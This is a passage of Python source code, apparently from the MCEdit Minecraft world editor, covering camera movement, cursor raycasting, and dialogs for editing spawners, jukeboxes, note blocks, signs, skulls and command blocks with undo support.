self.level.addTileEntity(self.tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(self.tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(self.tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(self.tileEntity), (1, 1, 1)) class CameraViewport(GLViewport): anchor = "tlbr" oldMousePosition = None dontShowMessageAgain = False def __init__(self, editor, def_enc=None): self.editor = editor global DEF_ENC DEF_ENC = def_enc or editor.mcedit.def_enc rect = editor.mcedit.rect GLViewport.__init__(self, rect) self.showCommands = lambda:None near = 0.5 far = 4000.0 self.near = near self.far = far self.brake = False self.lastTick = datetime.now() self.cameraPosition = (16., 45., 16.) self.velocity = [0., 0., 0.] self.yaw = -45. self._pitch = 0.1 self.cameraVector = self._cameraVector() self.avoidMouseJumpBug = 1 config.settings.drawSky.addObserver(self) config.settings.drawFog.addObserver(self) config.settings.superSecretSettings.addObserver(self) config.settings.showCeiling.addObserver(self) config.controls.cameraAccel.addObserver(self, "accelFactor") config.controls.cameraMaxSpeed.addObserver(self, "maxSpeed") config.controls.cameraBrakingSpeed.addObserver(self, "brakeMaxSpeed") config.controls.invertMousePitch.addObserver(self) config.controls.autobrake.addObserver(self) config.controls.swapAxes.addObserver(self) config.settings.compassToggle.addObserver(self) config.settings.fov.addObserver(self, "fovSetting", callback=self.updateFov) self.mouseVector = (0, 0, 0) self.root = self.get_root() self.hoveringCommandBlock = [False, ""] self.block_info_parsers = None @property def pitch(self): return self._pitch @pitch.setter def pitch(self, val): self._pitch = min(89.999, max(-89.999, val)) def updateFov(self, val=None): hfov = self.fovSetting fov = numpy.degrees(2.0 * numpy.arctan(self.size[0] / self.size[1] * numpy.tan(numpy.radians(hfov) * 0.5))) self.fov = fov self.tang = numpy.tan(numpy.radians(fov)) def stopMoving(self): self.velocity = [0, 0, 0] def brakeOn(self): self.brake = True def brakeOff(self): self.brake = False tickInterval = 1000 / config.settings.targetFPS.get() oldPosition = (0, 0, 0) flyMode = config.settings.flyMode.property() def tickCamera(self, frameStartTime, inputs, inSpace): timePassed = (frameStartTime - self.lastTick).microseconds if timePassed <= self.tickInterval * 1000 or not pygame.key.get_focused(): return self.lastTick = frameStartTime timeDelta = float(timePassed) / 1000000. timeDelta = min(timeDelta, 0.125) drag = config.controls.cameraDrag.get() accel_factor = drag + config.controls.cameraAccel.get() drag_epsilon = 10.0 * timeDelta if self.brake: max_speed = self.brakeMaxSpeed else: max_speed = self.maxSpeed if inSpace or self.root.sprint: accel_factor *= 3.0 max_speed *= 3.0 self.root.sprint = False elif config.settings.viewMode.get() == "Chunk": accel_factor *= 2.0 max_speed *= 2.0 pi = self.editor.cameraPanKeys mouseSpeed = config.controls.mouseSpeed.get() self.yaw += pi[0] * mouseSpeed self.pitch += pi[1] * mouseSpeed if config.settings.viewMode.get() == "Chunk": (dx, dy, dz) = (0, -0.25, -1) self.yaw = -180 self.pitch = 10 elif self.flyMode: (dx, dy, dz) = self._anglesToVector(self.yaw, 0) elif self.swapAxes: p = self.pitch if p > 80: p = 0 (dx, dy, dz) = self._anglesToVector(self.yaw, p) else: (dx, dy, dz) = self._cameraVector() velocity = self.velocity # xxx learn to use matrix/vector libs i = inputs yaw = numpy.radians(self.yaw) cosyaw = -numpy.cos(yaw) sinyaw = numpy.sin(yaw) directedInputs = mceutils.normalize(( i[0] * cosyaw + i[2] * dx, i[1] + i[2] * dy, i[2] * dz - i[0] * sinyaw, )) # give the camera an impulse according to the state of the inputs and in the direction of the camera cameraAccel = map(lambda x: x * accel_factor * timeDelta, directedInputs) # cameraImpulse = map(lambda x: x*impulse_factor, directedInputs) newVelocity = map(lambda a, b: a + b, velocity, cameraAccel) velocityDir, speed = mceutils.normalize_size(newVelocity) # apply drag if speed: if self.autobrake and not any(inputs): speed *= 0.15 else: sign = speed / abs(speed) speed = abs(speed) speed = speed - (drag * timeDelta) if speed < 0.0: speed = 0.0 speed *= sign speed = max(-max_speed, min(max_speed, speed)) if abs(speed) < drag_epsilon: speed = 0 velocity = map(lambda a: a * speed, velocityDir) # velocity = map(lambda p,d: p + d, velocity, cameraImpulse) d = map(lambda a, b: abs(a - b), self.cameraPosition, self.oldPosition) if d[0] + d[2] > 32.0: self.oldPosition = self.cameraPosition self.updateFloorQuad() self.cameraPosition = map(lambda p, d: p + d * timeDelta, self.cameraPosition, velocity) if self.cameraPosition[1] > 3800.: self.cameraPosition[1] = 3800. elif self.cameraPosition[1] < -1000.: self.cameraPosition[1] = -1000. self.velocity = velocity self.cameraVector = self._cameraVector() self.editor.renderer.position = self.cameraPosition if self.editor.currentTool.previewRenderer: self.editor.currentTool.previewRenderer.position = self.cameraPosition def setModelview(self): pos = self.cameraPosition look = numpy.array(self.cameraPosition) look = look.astype(float) + self.cameraVector up = (0, 1, 0) GLU.gluLookAt(pos[0], pos[1], pos[2], look[0], look[1], look[2], up[0], up[1], up[2]) def _cameraVector(self): return self._anglesToVector(self.yaw, self.pitch) @staticmethod def _anglesToVector(yaw, pitch): def nanzero(x): if isnan(x): return 0 else: return x dx = -math.sin(math.radians(yaw)) * math.cos(math.radians(pitch)) dy = -math.sin(math.radians(pitch)) dz = math.cos(math.radians(yaw)) * math.cos(math.radians(pitch)) return map(nanzero, [dx, dy, dz]) def updateMouseVector(self): self.mouseVector = self._mouseVector() def _mouseVector(self): x, y = mouse.get_pos() # if (x, y) not in self.rect: # return (0, 0, 0); # xxx y = self.root.height - y point1 = unproject(x, y, 0.0) point2 = unproject(x, y, 1.0) v = numpy.array(point2) - point1 v = mceutils.normalize(v) return v def _blockUnderCursor(self, center=False): try: GL.glReadBuffer(GL.GL_BACK) except Exception: logging.exception('Exception during glReadBuffer') ws = self.root.size if center: x, y = ws x //= 2 y //= 2 else: x, y = mouse.get_pos() if (x < 0 or y < 0 or x >= ws[0] or y >= ws[1]): return 0, 0, 0 y = ws[1] - y try: pixel = GL.glReadPixels(x, y, 1, 1, GL.GL_DEPTH_COMPONENT, GL.GL_FLOAT) newpoint = unproject(x, y, pixel[0]) except Exception: return 0, 0, 0 return newpoint def updateBlockFaceUnderCursor(self): focusPair = None if not self.enableMouseLag or self.editor.frames & 1: self.updateMouseVector() if self.editor.mouseEntered: if not self.mouseMovesCamera: try: focusPair = raycaster.firstBlock(self.cameraPosition, self._mouseVector(), self.editor.level, 100, config.settings.viewMode.get()) except TooFarException: mouse3dPoint = self._blockUnderCursor() focusPair = self._findBlockFaceUnderCursor(mouse3dPoint) elif self.editor.longDistanceMode: mouse3dPoint = self._blockUnderCursor(True) focusPair = self._findBlockFaceUnderCursor(mouse3dPoint) # otherwise, find the block at a controllable distance in front of the camera if focusPair is None: if self.blockFaceUnderCursor is None or self.mouseMovesCamera: focusPair = (self.getCameraPoint(), (0, 0, 0)) else: focusPair = self.blockFaceUnderCursor try: if focusPair[0] is not None and self.editor.level.tileEntityAt(*focusPair[0]): changed = False te = self.editor.level.tileEntityAt(*focusPair[0]) backupTE = copy.deepcopy(te) if te["id"].value == "Sign" or self.editor.level.defsIds.mcedit_ids.get(te["id"].value) in ("DEF_BLOCKS_STANDING_SIGN", "DEFS_BLOCKS_WALL_SIGN"): if "Text1" in te and "Text2" in te and "Text3" in te and "Text4" in te: for i in xrange(1,5): if len(te["Text"+str(i)].value) > 32767: te["Text"+str(i)] = pymclevel.TAG_String(str(te["Text"+str(i)].value)[:32767]) changed = True if changed: response = None if not self.dontShowMessageAgain: response = ask("Found a sign that exceeded the maximum character limit. Automatically trimmed the sign to prevent crashes.", responses=["Ok", "Don't show this again"]) if response is not None and response == "Don't show this again": self.dontShowMessageAgain = True op = SignEditOperation(self.editor, self.editor.level, te, backupTE) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() except: pass self.blockFaceUnderCursor = focusPair def _findBlockFaceUnderCursor(self, projectedPoint): d = [0, 0, 0] try: intProjectedPoint = map(int, map(numpy.floor, projectedPoint)) except ValueError: return None # catch NaNs intProjectedPoint[1] = max(-1, intProjectedPoint[1]) # find out which face is under the cursor. xxx do it more precisely faceVector = ((projectedPoint[0] - (intProjectedPoint[0] + 0.5)), (projectedPoint[1] - (intProjectedPoint[1] + 0.5)), (projectedPoint[2] - (intProjectedPoint[2] + 0.5)) ) av = map(abs, faceVector) i = av.index(max(av)) delta = faceVector[i] if delta < 0: d[i] = -1 else: d[i] = 1 potentialOffsets = [] try: block = self.editor.level.blockAt(*intProjectedPoint) except (EnvironmentError, pymclevel.ChunkNotPresent): return intProjectedPoint, d if block == pymclevel.alphaMaterials.SnowLayer.ID: potentialOffsets.append((0, 1, 0)) else: # discard any faces that aren't likely to be exposed for face, offsets in pymclevel.faceDirections: point = map(lambda a, b: a + b, intProjectedPoint, offsets) try: neighborBlock = self.editor.level.blockAt(*point) if block != neighborBlock: potentialOffsets.append(offsets) except (EnvironmentError, pymclevel.ChunkNotPresent): pass if tuple(d) not in potentialOffsets: av[i] = 0 i = av.index(max(av)) d = [0, 0, 0] delta = faceVector[i] if delta < 0: d[i] = -1 else: d[i] = 1 if tuple(d) not in potentialOffsets: av[i] = 0 i = av.index(max(av)) d = [0, 0, 0] delta = faceVector[i] if delta < 0: d[i] = -1 else: d[i] = 1 if tuple(d) not in potentialOffsets: if len(potentialOffsets): d = potentialOffsets[0] else: d = [0, 1, 0] return intProjectedPoint, d @property def ratio(self): return self.width / float(self.height) startingMousePosition = None def mouseLookOn(self): self.root.capture_mouse(self) self.focus_switch = None self.startingMousePosition = mouse.get_pos() if self.avoidMouseJumpBug == 1: self.avoidMouseJumpBug = 2 def mouseLookOff(self): self.root.capture_mouse(None) if self.startingMousePosition: mouse.set_pos(*self.startingMousePosition) self.startingMousePosition = None @property def mouseMovesCamera(self): return self.root.captured_widget is not None def toggleMouseLook(self): if not self.mouseMovesCamera: self.mouseLookOn() else: self.mouseLookOff() mobs = pymclevel.Entity.monsters + ["[Custom]"] @mceutils.alertException def editMonsterSpawner(self, point): mobs = self.mobs _mobs = {} defsIds = self.editor.level.defsIds mcedit_defs = defsIds.mcedit_defs mcedit_ids = defsIds.mcedit_ids if mcedit_defs.get('spawner_monsters'): mobs = [] for a in mcedit_defs['spawner_monsters']: _id = mcedit_ids[a] name = _(mcedit_defs[_id]['name']) _mobs[name] = a _mobs[a] = name mobs.append(name) tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(mcedit_defs.get("MobSpawner", "MobSpawner")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["Delay"] = pymclevel.TAG_Short(120) tileEntity["EntityId"] = pymclevel.TAG_String(mcedit_defs.get(mobs[0], mobs[0])) self.editor.level.addTileEntity(tileEntity) panel = Dialog() def addMob(id): if id not in mobs: mobs.insert(0, id) mobTable.selectedIndex = 0 def selectTableRow(i, evt): if mobs[i] == "[Custom]": id = input_text("Type in an EntityID for this spawner. Invalid IDs may crash Minecraft.", 150) if id: addMob(id) else: return mobTable.selectedIndex = mobs.index(id) else: mobTable.selectedIndex = i if evt.num_clicks == 2: panel.dismiss() mobTable = TableView(columns=( TableColumn("", 200), ) ) mobTable.num_rows = lambda: len(mobs) mobTable.row_data = lambda i: (mobs[i],) mobTable.row_is_selected = lambda x: x == mobTable.selectedIndex mobTable.click_row = selectTableRow mobTable.selectedIndex = 0 def selectedMob(): val = mobs[mobTable.selectedIndex] return _mobs.get(val, val) def cancel(): mobs[mobTable.selectedIndex] = id panel.dismiss() if "EntityId" in tileEntity: _id = tileEntity["EntityId"].value elif "SpawnData" in tileEntity: _id = tileEntity["SpawnData"]["id"].value else: _id = "[Custom]" _id2 = mcedit_defs.get(mcedit_ids.get(_id, _id), {}) if isinstance(_id2, (str, unicode)): _id = _id2 id = mcedit_defs.get(mcedit_ids.get(_id, _id), {}).get("name", _id) addMob(id) mobTable.selectedIndex = mobs.index(id) oldChoiceCol = Column((Label(_("Current: ") + _mobs.get(id, id), align='l', width=200), )) newChoiceCol = Column((ValueDisplay(width=200, get_value=lambda: _("Change to: ") + selectedMob()), mobTable)) lastRow = Row((Button("OK", action=panel.dismiss), Button("Cancel", action=cancel))) panel.add(Column((oldChoiceCol, newChoiceCol, lastRow))) panel.shrink_wrap() panel.present() class MonsterSpawnerEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) if id != selectedMob(): if hasattr(self.editor.level, "setSpawnerData"): tileEntity = self.editor.level.setSpawnerData(tileEntity, selectedMob()) else: if "EntityId" in tileEntity: tileEntity["EntityId"] = pymclevel.TAG_String(selectedMob()) if "SpawnData" in tileEntity: # Try to not clear the spawn data, but only update the mob id # tileEntity["SpawnData"] = pymclevel.TAG_Compound() tag_id = pymclevel.TAG_String(selectedMob()) if "id" in tileEntity["SpawnData"]: tag_id.name = "id" tileEntity["SpawnData"]["id"] = tag_id if "EntityId" in tileEntity["SpawnData"]: tileEntity["SpawnData"]["EntityId"] = tag_id if "SpawnPotentials" in tileEntity: for potential in tileEntity["SpawnPotentials"]: if "Entity" in potential: # MC 1.9+ if potential["Entity"]["id"].value == id or ("EntityId" in potential["Entity"] and potential["Entity"]["EntityId"].value == id): potential["Entity"] = pymclevel.TAG_Compound() potential["Entity"]["id"] = pymclevel.TAG_String(selectedMob()) elif "Properties" in potential: # MC before 1.9 if "Type" in potential and potential["Type"].value == id: potential["Type"] = pymclevel.TAG_String(selectedMob()) # We also can change some other values in the Properties tag, but it is useless in MC 1.8+. # The fact is this data will not be updated by the game after the mob type is changed, but the old mob will not spawn. # put_entityid = False # put_id = False # if "EntityId" in potential["Properties"] and potential["Properties"]["EntityId"].value == id: # put_entityid = True # if "id" in potential["Properties"] and potential["Properties"]["id"].value == id: # put_id = True # new_props = pymclevel.TAG_Compound() # if put_entityid: # new_props["EntityId"] = pymclevel.TAG_String(selectedMob()) # if put_id: # new_props["id"] = pymclevel.TAG_String(selectedMob()) # potential["Properties"] = new_props op = MonsterSpawnerEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editJukebox(self, point): discs = { "[No Record]": None, "13": 2256, "cat": 2257, "blocks": 2258, "chirp": 2259, "far": 2260, "mall": 2261, "mellohi": 2262, "stal": 2263, "strad": 2264, "ward": 2265, "11": 2266, "wait": 2267 } tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String("RecordPlayer") tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) self.editor.level.addTileEntity(tileEntity) panel = Dialog() def selectTableRow(i, evt): discTable.selectedIndex = i if evt.num_clicks == 2: panel.dismiss() discTable = TableView(columns=( TableColumn("", 200), ) ) discTable.num_rows = lambda: len(discs) discTable.row_data = lambda i: (selectedDisc(i),) discTable.row_is_selected = lambda x: x == discTable.selectedIndex discTable.click_row = selectTableRow discTable.selectedIndex = 0 def selectedDisc(id): if id == 0: return "[No Record]" return discs.keys()[discs.values().index(id + 2255)] def cancel(): if id == "[No Record]": discTable.selectedIndex = 0 else: discTable.selectedIndex = discs[id] - 2255 panel.dismiss() if "RecordItem" in tileEntity: if tileEntity["RecordItem"]["id"].value == "minecraft:air": id = "[No Record]" else: id = tileEntity["RecordItem"]["id"].value[17:] elif "Record" in tileEntity: if tileEntity["Record"].value == 0: id = "[No Record]" else: id = selectedDisc(tileEntity["Record"].value - 2255) else: id = "[No Record]" if id == "[No Record]": discTable.selectedIndex = 0 else: discTable.selectedIndex = discs[id] - 2255 oldChoiceCol = Column((Label(_("Current: ") + id, align='l', width=200), )) newChoiceCol = Column((ValueDisplay(width=200, get_value=lambda: _("Change to: ") + selectedDisc(discTable.selectedIndex)), discTable)) lastRow = Row((Button("OK", action=panel.dismiss), Button("Cancel", action=cancel))) panel.add(Column((oldChoiceCol, newChoiceCol, lastRow))) panel.shrink_wrap() panel.present() class JukeboxEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) if id != selectedDisc(discTable.selectedIndex): if "RecordItem" in tileEntity: del tileEntity["RecordItem"] if discTable.selectedIndex == 0: tileEntity["Record"] = pymclevel.TAG_Int(0) self.editor.level.setBlockDataAt(tileEntity["x"].value, tileEntity["y"].value, tileEntity["z"].value, 0) else: tileEntity["Record"] = pymclevel.TAG_Int(discTable.selectedIndex + 2255) self.editor.level.setBlockDataAt(tileEntity["x"].value, tileEntity["y"].value, tileEntity["z"].value, 1) op = JukeboxEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editNoteBlock(self, point): notes = [ "F# (0.5)", "G (0.53)", "G# (0.56)", "A (0.6)", "A# (0.63)", "B (0.67)", "C (0.7)", "C# (0.75)", "D (0.8)", "D# (0.85)", "E (0.9)", "F (0.95)", "F# (1.0)", "G (1.05)", "G# (1.1)", "A (1.2)", "A# (1.25)", "B (1.32)", "C (1.4)", "C# (1.5)", "D (1.6)", "D# (1.7)", "E (1.8)", "F (1.9)", "F# (2.0)" ] tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.defsIds.mcedit_defs.get("MobSpawner", "MobSpawner")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["note"] = pymclevel.TAG_Byte(0) self.editor.level.addTileEntity(tileEntity) panel = Dialog() def selectTableRow(i, evt): noteTable.selectedIndex = i if evt.num_clicks == 2: panel.dismiss() noteTable = TableView(columns=( TableColumn("", 200), ) ) noteTable.num_rows = lambda: len(notes) noteTable.row_data = lambda i: (notes[i],) noteTable.row_is_selected = lambda x: x == noteTable.selectedIndex noteTable.click_row = selectTableRow noteTable.selectedIndex = 0 def selectedNote(): return notes[noteTable.selectedIndex] def cancel(): noteTable.selectedIndex = id panel.dismiss() id = tileEntity["note"].value noteTable.selectedIndex = id oldChoiceCol = Column((Label(_("Current: ") + notes[id], align='l', width=200), )) newChoiceCol = Column((ValueDisplay(width=200, get_value=lambda: _("Change to: ") + selectedNote()), noteTable)) lastRow = Row((Button("OK", action=panel.dismiss), Button("Cancel", action=cancel))) panel.add(Column((oldChoiceCol, newChoiceCol, lastRow))) panel.shrink_wrap() panel.present() class NoteBlockEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) if id != noteTable.selectedIndex: tileEntity["note"] = pymclevel.TAG_Byte(noteTable.selectedIndex) op = NoteBlockEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editSign(self, point): tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) linekeys = ["Text" + str(i) for i in xrange(1, 5)] # From version 1.8, signs accept Json format. # 1.9 does no more support the old raw string fomat. splitVersion = self.editor.level.gameVersion.split('.') newFmtVersion = ['1','9'] fmt = "" json_fmt = False f = lambda a,b: (a + (['0'] * max(len(b) - len(a), 0)), b + (['0'] * max(len(a) - len(b), 0))) if False not in map(lambda x,y: (int(x) if x.isdigit() else x) >= (int(y) if y.isdigit() else y),*f(splitVersion, newFmtVersion))[:2]: json_fmt = True fmt = '{"text":""}' if not tileEntity: tileEntity = pymclevel.TAG_Compound() # Don't know how to handle the difference between wall and standing signs for now... tileEntity["id"] = pymclevel.TAG_String("Sign") tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) for l in linekeys: tileEntity[l] = pymclevel.TAG_String(fmt) self.editor.level.addTileEntity(tileEntity) panel = Dialog() lineFields = [TextFieldWrapped(width=400) for l in linekeys] for l, f in zip(linekeys, lineFields): f.value = tileEntity[l].value if f.value == 'null': f.value = fmt elif json_fmt and f.value == '': f.value = fmt else: if f.value.startswith('"') and f.value.endswith('"'): f.value = f.value[1:-1] if '\\"' in f.value: f.value = f.value.replace('\\"', '"') colors = [ u"§0 Black", u"§1 Dark Blue", u"§2 Dark Green", u"§3 Dark Aqua", u"§4 Dark Red", u"§5 Dark Purple", u"§6 Gold", u"§7 Gray", u"§8 Dark Gray", u"§9 Blue", u"§a Green", u"§b Aqua", u"§c Red", u"§d Light Purple", u"§e Yellow", u"§f White", ] def menu_picked(index): c = u"§%d"%index currentField = panel.focus_switch.focus_switch currentField.text += c # xxx view hierarchy currentField.insertion_point = len(currentField.text) def changeSign(): unsavedChanges = False fmt = '"{}"' u_fmt = u'"%s"' if json_fmt: fmt = '{}' u_fmt = u'%s' for l, f in zip(linekeys, lineFields): oldText = fmt.format(tileEntity[l]) tileEntity[l] = pymclevel.TAG_String(u_fmt%f.value[:255]) if fmt.format(tileEntity[l]) != oldText and not unsavedChanges: unsavedChanges = True if unsavedChanges: op = SignEditOperation(self.editor, self.editor.level, tileEntity, undoBackupEntityTag) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() panel.dismiss() colorMenu = MenuButton("Add Color Code...", colors, menu_picked=menu_picked) row = Row((Button("OK", action=changeSign), Button("Cancel", action=panel.dismiss))) column = [Label("Edit Sign")] + lineFields + [colorMenu, row] panel.add(Column(column)) panel.shrink_wrap() panel.present() @mceutils.alertException def editSkull(self, point): tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) skullTypes = { "Skeleton": 0, "Wither Skeleton": 1, "Zombie": 2, "Player": 3, "Creeper": 4, } inverseSkullType = { 0: "Skeleton", 1: "Wither Skeleton", 2: "Zombie", 3: "Player", 4: "Creeper", } if not tileEntity: tileEntity = pymclevel.TAG_Compound() # Don't know how to handle the difference between skulls in this context signs for now... # Tests nedded! tileEntity["id"] = pymclevel.TAG_String("Skull") tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["SkullType"] = pymclevel.TAG_Byte(3) self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Skull Data") usernameField = TextFieldWrapped(width=150) panel = Dialog() skullMenu = ChoiceButton(map(str, skullTypes)) if "Owner" in tileEntity: usernameField.value = str(tileEntity["Owner"]["Name"].value) elif "ExtraType" in tileEntity: usernameField.value = str(tileEntity["ExtraType"].value) else: usernameField.value = "" oldUserName = usernameField.value skullMenu.selectedChoice = inverseSkullType[tileEntity["SkullType"].value] oldSelectedSkull = skullMenu.selectedChoice class SkullEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateSkull(): if usernameField.value != oldUserName or oldSelectedSkull != skullMenu.selectedChoice: tileEntity["ExtraType"] = pymclevel.TAG_String(usernameField.value) tileEntity["SkullType"] = pymclevel.TAG_Byte(skullTypes[skullMenu.selectedChoice]) if "Owner" in tileEntity: del tileEntity["Owner"] op = SkullEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBTN = Button("OK", action=updateSkull) cancel = Button("Cancel", action=panel.dismiss) column = [titleLabel, usernameField, skullMenu, okBTN, cancel] panel.add(Column(column)) panel.shrink_wrap() panel.present() @mceutils.alertException def editCommandBlock(self, point): panel = Dialog() tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.defsIds.mcedit_defs.get("Control", "Control")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["Command"] = pymclevel.TAG_String() tileEntity["CustomName"] = pymclevel.TAG_String("@") tileEntity["TrackOutput"] = pymclevel.TAG_Byte(0) tileEntity["SuccessCount"] = pymclevel.TAG_Int(0) self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Command Block") commandField = TextFieldWrapped(width=650) nameField = TextFieldWrapped(width=200) successField = IntInputRow("SuccessCount", min=0, max=15) trackOutput = CheckBox() # Fix for the '§ is ħ' issue # try: # commandField.value = tileEntity["Command"].value.decode("unicode-escape") # except: # commandField.value = tileEntity["Command"].value commandField.value = tileEntity["Command"].value oldCommand = commandField.value trackOutput.value = tileEntity.get("TrackOutput", pymclevel.TAG_Byte(0)).value oldTrackOutput = trackOutput.value nameField.value = tileEntity.get("CustomName", pymclevel.TAG_String("@")).value oldNameField = nameField.value successField.subwidgets[1].value = tileEntity.get("SuccessCount", pymclevel.TAG_Int(0)).value oldSuccess = successField.subwidgets[1].value class CommandBlockEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateCommandBlock(): if oldCommand != commandField.value or oldTrackOutput != trackOutput.value or oldNameField != nameField.value or oldSuccess != successField.subwidgets[1].value: tileEntity["Command"] = pymclevel.TAG_String(commandField.value) tileEntity["TrackOutput"] = pymclevel.TAG_Byte(trackOutput.value) tileEntity["CustomName"] = pymclevel.TAG_String(nameField.value) tileEntity["SuccessCount"] = pymclevel.TAG_Int(successField.subwidgets[1].value) op = CommandBlockEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBTN = Button("OK", action=updateCommandBlock) cancel = Button("Cancel", action=panel.dismiss) column = [titleLabel, Label("Command:"), commandField, Row((Label("Custom Name:"), nameField)), successField, Row((Label("Track Output"), trackOutput)), okBTN, cancel] panel.add(Column(column)) panel.shrink_wrap() panel.present() return @mceutils.alertException def editContainer(self, point, containerID): tileEntityTag = self.editor.level.tileEntityAt(*point) if tileEntityTag is None: tileEntityTag = pymclevel.TileEntity.Create(containerID) pymclevel.TileEntity.setpos(tileEntityTag, point) self.editor.level.addTileEntity(tileEntityTag) if tileEntityTag["id"].value != containerID: return undoBackupEntityTag = copy.deepcopy(tileEntityTag) def itemProp(key): # xxx do validation here def getter(self): if 0 == len(tileEntityTag["Items"]): return 0 return tileEntityTag["Items"][self.selectedItemIndex][key].value def setter(self, val): if 0 == len(tileEntityTag["Items"]): return self.dirty = True 